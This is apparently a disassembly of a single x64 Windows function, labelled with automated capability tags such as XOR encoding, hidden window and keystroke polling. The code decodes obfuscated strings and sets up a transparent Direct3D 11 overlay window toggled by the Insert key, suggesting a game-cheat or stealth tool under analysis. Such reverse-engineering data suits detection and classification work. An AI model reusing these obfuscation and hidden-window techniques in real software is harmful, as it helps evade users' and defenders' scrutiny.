Function at 0x14007df20
Capabilities:
Access peb ldr_data
Delete file
Encode data using xor
Hash data using fnv
Hide graphical window
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xca8]
sub rsp, 0xd80
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x140238500]
xor rax, rsp
mov qword [rbp + 0xbd8], rax
mov eax, dword [str._QP_X8]
xorps xmm0, xmm0
mov dword [rsp + 0x60], eax
xorps xmm1, xmm1
movzx eax, word [0x1400b0bd4]
mov r8, 0xffffffffffffffff
xor byte [rsp + 0x61], 0x34
xor byte [rsp + 0x62], 0x35
xor byte [rsp + 0x63], 0x36
mov word [rsp + 0x64], ax
xor al, 0x37
xor byte [rsp + 0x65], 0x38
mov byte [rsp + 0x64], al
lea rax, [rsp + 0x60]
mov byte [rsp + 0x60], 0x73
movups xmmword [rbp + 0x7b8], xmm0
movdqu xmmword [rbp + 0x7c8], xmm1
inc r8
cmp byte [rax + r8], 0
jne 0x14007dfd2
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x7b8]
call fcn.140035750
lea rcx, [rbp + 0x7b8]
call fcn.14002f780
mov eax, dword [0x1400b0bd8]
xorps xmm0, xmm0
mov dword [rsp + 0x60], eax
xorps xmm1, xmm1
movzx eax, word [0x1400b0bdc]
mov r8, 0xffffffffffffffff
xor byte [rsp + 0x61], 0x34
xor byte [rsp + 0x62], 0x35
xor byte [rsp + 0x63], 0x36
mov word [rsp + 0x64], ax
xor al, 0x37
xor byte [rsp + 0x65], 0x38
mov byte [rsp + 0x64], al
lea rax, [rsp + 0x60]
mov byte [rsp + 0x60], 0x42
movups xmmword [rbp + 0x880], xmm0
movdqu xmmword [rbp + 0x890], xmm1
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14007e050
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x880]
call fcn.140035750
movsd xmm0, qword [str.rW]
xorps xmm1, xmm1
movzx ecx, word [0x1400b0be8]
mov r8, 0xffffffffffffffff
movzx eax, byte [0x1400b0bea]
movsd qword [rbp - 0x70], xmm0
xorps xmm0, xmm0
xor byte [rbp - 0x6f], 0x34
xor byte [rbp - 0x6e], 0x35
xor byte [rbp - 0x6d], 0x36
xor byte [rbp - 0x6c], 0x37
xor byte [rbp - 0x6b], 0x38
xor byte [rbp - 0x6a], 0x39
xor byte [rbp - 0x69], 0x3a
mov word [rbp - 0x68], cx
xor cl, 0x3b
xor byte [rbp - 0x67], 0x3c
xor al, 0x3d
mov byte [rbp - 0x70], 0x48
mov byte [rbp - 0x66], al
lea rax, [rbp - 0x70]
mov byte [rbp - 0x68], cl
movups xmmword [rbp + 0x860], xmm0
movdqu xmmword [rbp + 0x870], xmm1
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14007e0e0
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x860]
call fcn.140035750
movups xmm0, xmmword [0x1400b0bf0]
xor r13d, r13d
movups xmm1, xmmword [0x1400b0c00]
mov r8d, r13d
movzx eax, byte [0x1400b0c30]
mov r15d, dword [0x140238558]
movdqa xmm12, xmmword [0x1400b4690]
movdqa xmm11, xmmword [0x1400b4620]
movdqa xmm15, xmmword [0x1400b46c0]
movdqa xmm13, xmmword [str.6666]
movdqa xmm10, xmmword [0x1400b10d0]
movups xmmword [rbp + 0x6d0], xmm0
movups xmm0, xmmword [0x1400b0c10]
movups xmmword [rbp + 0x6e0], xmm1
movups xmm1, xmmword [0x1400b0c20]
movups xmmword [rbp + 0x6f0], xmm0
movups xmmword [rbp + 0x700], xmm1
mov byte [rbp + 0x710], al
cmp r15d, 2
jl 0x14007e293
movdqa xmmword [rsp + 0x70], xmm15
lea rcx, [rbp + 0x6d4]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x40
jl 0x14007e1a0
cmp r8d, 0x41
jge 0x14007e2d1
movsxd rax, r8d
lea r9, [rbp + 0x6d0]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x41
jl 0x14007e2a0
xorps xmm0, xmm0
lea rax, [rbp + 0x6d0]
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rbp + 0x840], xmm0
movdqu xmmword [rbp + 0x850], xmm1
inc r8
cmp byte [rax + r8], r13b
jne 0x14007e2f4
lea rdx, [rbp + 0x6d0]
lea rcx, [rbp + 0x840]
call fcn.140035750
cmp byte [str.6__AFD], r13b
mov eax, dword [0x1400b0c34]
mov dword [rbp + 0x6a0], eax
je 0x14007e3d3
mov r8d, r13d
cmp r15d, 2
jl 0x14007e399
movdqa xmm1, xmm11
movdqa xmm0, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm10
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm15
xorps xmm1, xmm0
movd dword [rbp + 0x6a0], xmm1
jmp 0x14007e3d3
lea r9, [rbp + 0x6a0]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14007e3a0
xorps xmm0, xmm0
lea rax, [rbp + 0x6a0]
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rbp + 0x8a0], xmm0
movdqu xmmword [rbp + 0x8b0], xmm1
inc r8
cmp byte [rax + r8], r13b
jne 0x14007e3f6
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x8a0]
call fcn.140035750
mov eax, dword [0x1400b0c50]
mov r8d, r13d
mov dword [rbp + 0x788], eax
movzx eax, byte [0x1400b0c54]
mov byte [rbp + 0x78c], al
movups xmm0, xmmword [0x1400b0c38]
movups xmmword [rbp + 0x770], xmm0
movsd xmm0, qword [0x1400b0c48]
movsd qword [rbp + 0x780], xmm0
cmp r15d, 2
jl 0x14007e563
movdqa xmmword [rsp + 0x70], xmm15
lea rcx, [rbp + 0x774]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14007e470
cmp r8d, 0x1d
jge 0x14007e5a1
movsxd rax, r8d
lea r9, [rbp + 0x770]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x14007e570
xorps xmm0, xmm0
lea rax, [rbp + 0x770]
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rbp + 0x820], xmm0
movdqu xmmword [rbp + 0x830], xmm1
inc r8
cmp byte [rax + r8], r13b
jne 0x14007e5c4
lea rdx, [rbp + 0x770]
lea rcx, [rbp + 0x820]
call fcn.140035750
xorps xmm0, xmm0
mov byte [rbp + 0x6a0], r13b
xorps xmm1, xmm1
lea rax, [rbp + 0x6a0]
movups xmmword [rbp + 0x8c0], xmm0
mov r8, 0xffffffffffffffff
movdqu xmmword [rbp + 0x8d0], xmm1
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x14007e610
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x8c0]
call fcn.140035750
xor edx, edx
lea rcx, [rbp + 0x930]
mov r8d, 0x278
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x820]
lea rcx, [rbp + 0x7b8]
call fcn.140031aa0
lea rdx, [rbp + 0x8a0]
mov r14, rax
lea rcx, [rbp + 0xa8]
call fcn.140031aa0
lea rdx, [rbp + 0x840]
mov rsi, rax
lea rcx, [rbp + 0x770]
call fcn.140031aa0
lea rdx, [rbp + 0x860]
mov rdi, rax
lea rcx, [rbp + 0xbb8]
call fcn.140031aa0
lea rdx, [rbp + 0x880]
mov rbx, rax
lea rcx, [rbp + 0x3b0]
call fcn.140031aa0
mov r9, rdi
mov qword [rsp + 0x28], r14
mov r8, rbx
mov qword [rsp + 0x20], rsi
mov rdx, rax
lea rcx, [rbp + 0x930]
call fcn.14007a160
lea rcx, [rbp + 0x930]
call fcn.1400911b0
lea rax, [0x14007bd80]
mov dword [rbp + 0x720], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x728], rax
xor ecx, ecx
mov dword [rbp + 0x724], 0x40
mov qword [rbp + 0x730], r13
mov qword [rbp + 0x738], r13
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x740], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x750], r13
mov qword [rbp + 0x748], rax
xor ecx, ecx
lea rax, [rbp + 0xd0]
mov qword [rbp + 0x758], rax
lea rax, [rbp + 0xd0]
mov qword [rbp + 0x760], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x720]
mov qword [rbp + 0x768], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r12d, 1
mov ecx, r12d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xaf]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movsd xmm0, qword [0x1400b0c58]
mov r8d, 0x4c
movzx ecx, word [0x1400b0c64]
cdq
sub eax, edx
movsd qword [rbp + 0x98], xmm0
mov edx, dword [0x1400b0c60]
sar eax, 1
sub eax, 0xc8
mov dword [rbp + 0xa0], edx
xor word [rbp + 0x9a], 0x34
mov word [rbp + 0x98], r8w
xor word [rbp + 0x9c], 0x35
lea r8, [rbp + 0x98]
xor word [rbp + 0x9e], 0x36
xor dx, 0x37
xor word [rbp + 0xa2], 0x38
xor cx, 0x39
mov qword [rsp + 0x58], r13
mov r9d, 0x80000000
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], 0x15e
mov dword [rsp + 0x30], 0x190
mov word [rbp + 0xa0], dx
mov rdx, qword [rbp + 0x760]
mov word [rbp + 0xa4], cx
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [rbp + 0x130], rax
mov edx, 0xffffffec
mov r14, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov edx, 0xffffffec
mov rcx, r14
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, r14
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400b10a0]
lea rdx, [rbp + 0x918]
mov rcx, r14
movdqu xmmword [rbp + 0x918], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
lea rdx, [rbp + 0x810]
mov rcx, r14
movups xmmword [rbp + 0x810], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rax, [rbp + 0x7e0]
mov qword [rbp + 0x6e4], r13
lea rbx, [0x1402393a8]
mov qword [rbp + 0x6f8], 2
mov qword [rsp + 0x58], rbx
lea rdi, [0x1402393a0]
mov qword [rsp + 0x50], rax
lea rsi, [0x1402393b0]
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x6d0]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0xbb0]
mov dword [rsp + 0x28], 2
mov edx, r12d
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x710], 2
mov qword [rbp + 0x6d0], r13
mov dword [rbp + 0x6e0], 0x1c
mov dword [rbp + 0x6d8], 0x3c
mov dword [rbp + 0x6dc], r12d
mov dword [rbp + 0x6f4], 0x20
mov qword [rbp + 0x700], r14
mov qword [rbp + 0x6ec], r12
mov qword [rbp + 0x708], r12
mov dword [rbp + 0xbb0], 0xb000
mov dword [rbp + 0xbb4], 0xa000
call sub.d3d11.dll_D3D11CreateDeviceAndSwapChain
mov ecx, 5
cmp eax, 0x887a0004
jne 0x14007ea00
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x7e0]
mov qword [rsp + 0x50], rax
mov edx, ecx
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x6d0]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0xbb0]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
call sub.d3d11.dll_D3D11CreateDeviceAndSwapChain
test eax, eax
jne 0x140084d30
movaps xmmword [rsp + 0xd70], xmm6
movaps xmmword [rsp + 0xd60], xmm7
movaps xmmword [rsp + 0xd50], xmm8
movaps xmmword [rsp + 0xd40], xmm9
movaps xmmword [rsp + 0xcf0], xmm14
call fcn.14007af10
mov edx, 0xa
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r14
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.7_WIP
mov qword [rsp + 0x28], 0x14
mov edx, 0x37c8
mov r9d, 8
mov qword [rsp + 0x20], 0x10
mov r8d, 0x42c
call fcn.14003ff60
xor ecx, ecx
call fcn.14003fbd0
call fcn.140042d80
xor ecx, ecx
mov rdi, rax
call fcn.14005be60
mov rcx, qword [0x1402393a0]
lea rax, [0x140239380]
mov qword [rsp + 0x30], r13
lea r9, [rbp + 0x8e0]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401edc50]
mov r8d, 0x2a255
mov qword [rsp + 0x20], r13
mov qword [rbp + 0x8e0], 0xffffffffffffffff
mov qword [rbp + 0x8e8], 0xffffffffffffffff
mov qword [rbp + 0x8f0], 0xffffffffffffffff
mov qword [rbp + 0x8f8], 0xffffffffffffffff
mov dword [rbp + 0x900], 0xffffffff
mov qword [rbp + 0x904], 0xfffffffffffffffd
mov dword [rbp + 0x90c], 0xffffffff
mov qword [rbp + 0x910], r13
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
mov rcx, r14
call fcn.1400674c0
mov rdx, qword [0x1402393a8]
mov rcx, qword [0x1402393a0]
call fcn.140066450
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.140057ee0
movss xmm6, dword [0x1400a290c]
lea rdx, [0x140217eb0]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
mov r8d, 0xf428
mov qword [rsp + 0x20], r13
mov rcx, rbx
call fcn.140055940
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.140057ee0
movss xmm3, dword [0x1400a675c]
lea rdx, str.OTTO
mov qword [rsp + 0x28], rax
mov r8d, 0xf850
mov rcx, rbx
mov qword [rsp + 0x20], r13
call fcn.140055940
mov rbx, qword [rdi + 0x50]
mov rsi, rax
mov rcx, rbx
mov qword [rbp + 0x250], rax
call fcn.140057ee0
mov qword [rsp + 0x28], rax
lea rdx, [0x140236b30]
movaps xmm3, xmm6
mov qword [rsp + 0x20], r13
mov r8d, 0x17fc
mov rcx, rbx
call fcn.140055940
mov rdi, rax
movdqa xmm7, xmmword [0x1400b4640]
xor bl, bl
movdqa xmm14, xmmword [0x1400b4630]
movss xmm9, dword [0x1400b109c]
movss xmm8, dword [0x1400a2a1c]
mov dword [rbp + 0x7e0], ebx
mov qword [rbp + 0x248], rax
nop word [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, [rbp + 0x6d0]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14007ec94
nop
lea rcx, [rbp + 0x6d0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x6d0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x6d8], 0x12
lea rcx, [rbp + 0x6d0]
movzx ebx, bl
cmove ebx, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14007ec40
mov dword [rbp + 0x7e0], ebx
test bl, bl
jne 0x140084a8c
mov r8d, dword [0x1402393b8]
test r8d, r8d
je 0x14007ecff
mov r9d, dword [0x1402393bc]
test r9d, r9d
je 0x14007ecff
mov rcx, qword [0x1402393c0]
test rcx, rcx
je 0x14007ecd3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov r8d, dword [0x1402393b8]
mov r9d, dword [0x1402393bc]
mov qword [0x1402393c0], r13
mov rcx, qword [0x1402393b0]
xor edx, edx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
mov rax, qword [rcx]
call qword [rax + 0x68]
mov dword [0x1402393bc], r13d
mov dword [0x1402393b8], r13d
call fcn.14007af10
call fcn.1400666d0
call fcn.140067660
mov ecx, 0x2d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14007ed26
cmp byte [0x140238450], 0
sete byte [0x140238450]
call fcn.140042d80
mov ecx, dword [0x140238454]
movss xmm0, dword [rax + 0x10]
mulss xmm0, dword [0x1400a2900]
cmp ecx, 0xff
jg 0x14007ed54
cmp byte [0x140238450], 0
mov eax, 0x12c
jne 0x14007ed57
mov eax, r13d
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si r8d, xmm1
mov dword [0x140238454], r8d
cmp r8d, 0xff
jle 0x14007ed94
mov dword [0x140238454], 0xff
mov r8d, 0xff
xor edx, edx
mov r9d, 2
mov rcx, r14
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
cmp dword [0x140238454], 0
mov edx, r13d
mov eax, 5
mov rcx, r14
cmovg edx, eax
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.1400498c0
movsd xmm0, qword [str.pPWC]
mov r8d, r13d
movzx eax, byte [0x1400b0c74]
mov ecx, dword [0x1400b0c70]
movsd qword [rbp + 0xe0], xmm0
mov byte [rbp + 0xec], al
mov dword [rbp + 0xe8], ecx
cmp r15d, 2
jl 0x14007ef41
movd eax, xmm15
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
movdqa xmm2, xmm14
pmuldq xmm0, xmm10
mov r8d, 0xc
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.pPWC]
xorps xmm1, xmm0
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm10
movd dword [rbp + 0xe0], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0xe4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
movd dword [rbp + 0xe4], xmm2
movdqa xmm1, xmm7
pmuldq xmm0, xmm10
movdqa xmm2, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xe8], xmm2
mov eax, r8d
lea r9, [rbp + 0xe0]
add r9, rax
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14007ef50
xor edx, edx
lea rcx, [rbp + 0xe0]
mov r8d, 0x1b
call fcn.14003bc60
xor edx, edx
mov qword [rbp + 0x1b0], 0
lea rcx, [rbp + 0x1b0]
call fcn.14004f300
xor edx, edx
mov dword [rbp + 0x1b8], 0x43c80000
lea rcx, [rbp + 0x1b8]
mov dword [rbp + 0x1bc], 0x43af0000
call fcn.14004f490
call fcn.1400435e0
lea rcx, [rbp + 0x3d8]
mov qword [0x140239370], rax
call fcn.140043610
mov rcx, rdi
movss xmm0, dword [rax]
movss dword [0x140239378], xmm0
movss xmm1, dword [rax + 4]
movss dword [0x14023937c], xmm1
call fcn.14004ada0
lea rcx, [rbp + 0x1c0]
mov dword [rbp + 0x1c0], 0x43b40000
mov dword [rbp + 0x1c4], 0x40a00000
call fcn.14004eaa0
cmp byte [0x1400b0c79], 0
movzx eax, word [0x1400b0c78]
mov word [rbp + 0x6a0], ax
mov dword [rbp + 0x1c8], 0x41f00000
mov dword [rbp + 0x1cc], 0x41f00000
je 0x14007f062
xor byte [rbp + 0x6a1], 0x34
mov byte [rbp + 0x6a0], 0x41
xor r8d, r8d
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x6a0]
call fcn.14006b5d0
test al, al
je 0x14007f085
mov rcx, r14
call qword [sym.imp.USER32.dll_DestroyWindow]
lea rcx, [rbp + 0x1d0]
mov dword [rbp + 0x1d0], 0x43a00000
mov dword [rbp + 0x1d4], 0x40a00000
call fcn.14004eaa0
cmp byte [0x1400b0c7d], 0
movzx eax, word [0x1400b0c7c]
mov word [rbp + 0x6a0], ax
mov dword [rbp + 0x1a8], 0x41f00000
mov dword [rbp + 0x1ac], 0x41f00000
je 0x14007f0de
xor byte [rbp + 0x6a1], 0x34
mov byte [rbp + 0x6a0], 0x42
xor r8d, r8d
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x6a0]
call fcn.14006b5d0
test al, al
je 0x14007f0ff
mov byte [0x140238450], 0
call fcn.14004a990
cmp dword [0x140239388], 0
jne 0x14007ff71
mov rcx, rsi
call fcn.14004ada0
cmp byte [0x1400b0c99], 0
movsd xmm0, qword [0x1400b0c90]
movzx eax, word [0x1400b0c98]
movsd qword [rbp - 0x70], xmm0
mov word [rbp - 0x68], ax
je 0x14007f162
xor byte [rbp - 0x6f], 0x34
xor byte [rbp - 0x6e], 0x35
xor byte [rbp - 0x6d], 0x36
xor byte [rbp - 0x6c], 0x37
xor byte [rbp - 0x6b], 0x38
xor byte [rbp - 0x6a], 0x39
xor byte [rbp - 0x69], 0x3a
xor byte [rbp - 0x68], 0x3b
xor byte [rbp - 0x67], 0x3c
mov byte [rbp - 0x70], 0x42
movdqa xmm0, xmmword [0x1400a2990]
lea rcx, [rsp + 0x70]
movups xmmword [rsp + 0x70], xmm0
call fcn.14003fa90
cmp byte [0x1400b0c89], 0
mov ebx, eax
movsd xmm0, qword [0x1400b0c80]
movzx ecx, word [0x1400b0c88]
movsd qword [rbp - 0x20], xmm0
mov word [rbp - 0x18], cx
je 0x14007f1c4
xor byte [rbp - 0x1f], 0x34
xor byte [rbp - 0x1e], 0x35
xor byte [rbp - 0x1d], 0x36
xor byte [rbp - 0x1c], 0x37
xor byte [rbp - 0x1b], 0x38
xor byte [rbp - 0x1a], 0x39
xor byte [rbp - 0x19], 0x3a
xor byte [rbp - 0x18], 0x3b
xor byte [rbp - 0x17], 0x3c
mov byte [rbp - 0x20], 0x42
movss xmm6, dword [0x140239378]
lea rdx, [rbp - 0x20]
movss xmm8, dword [0x14023937c]
lea rcx, [rbp + 0x3e0]
movss xmm0, dword [0x1400a2934]
movaps xmm7, xmm6
addss xmm7, xmm9
movss dword [rsp + 0x20], xmm0
movaps xmm9, xmm8
xor r9d, r9d
addss xmm9, dword [0x1400b1078]
xor r8d, r8d
call fcn.14003eaa0
movss xmm2, dword [0x1400a28b4]
subss xmm7, xmm6
mov rcx, qword [0x140239370]
subss xmm9, xmm8
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], r13
movss xmm1, dword [rax + 4]
lea rdx, [rbp + 0x1d8]
movss xmm0, dword [rax]
mov r8d, ebx
mulss xmm7, xmm2
mulss xmm9, xmm2
addss xmm7, xmm6
mulss xmm0, xmm2
addss xmm9, xmm8
mulss xmm1, xmm2
subss xmm7, xmm0
subss xmm9, xmm1
movss dword [rbp + 0x1d8], xmm7
movss dword [rbp + 0x1dc], xmm9
call fcn.140057000
call fcn.14004a990
cmp byte [0x140238458], 0
mov rax, qword [0x1402390b8]
movss xmm8, dword [0x1400a2a1c]
je 0x14007f29e
xorps xmm1, xmm1
jmp 0x14007f2a2
movaps xmm1, xmm8
subss xmm1, dword [0x140239410]
lea rcx, [rbp + 0x1e0]
mov dword [rbp + 0x1e0], 0x42480000
mov dword [rbp + 0x1e4], 0x43200000
mulss xmm1, dword [rax + 0x18]
addss xmm1, dword [0x140239410]
movss dword [0x140239410], xmm1
call fcn.14004eaa0
movzx ecx, word [0x1400b0ca8]
lea r12, [rbp + 0x20]
movzx eax, byte [0x1400b0caa]
xorps xmm0, xmm0
mov word [rbp + 0x28], cx
mov rdi, 0xffffffffffffffff
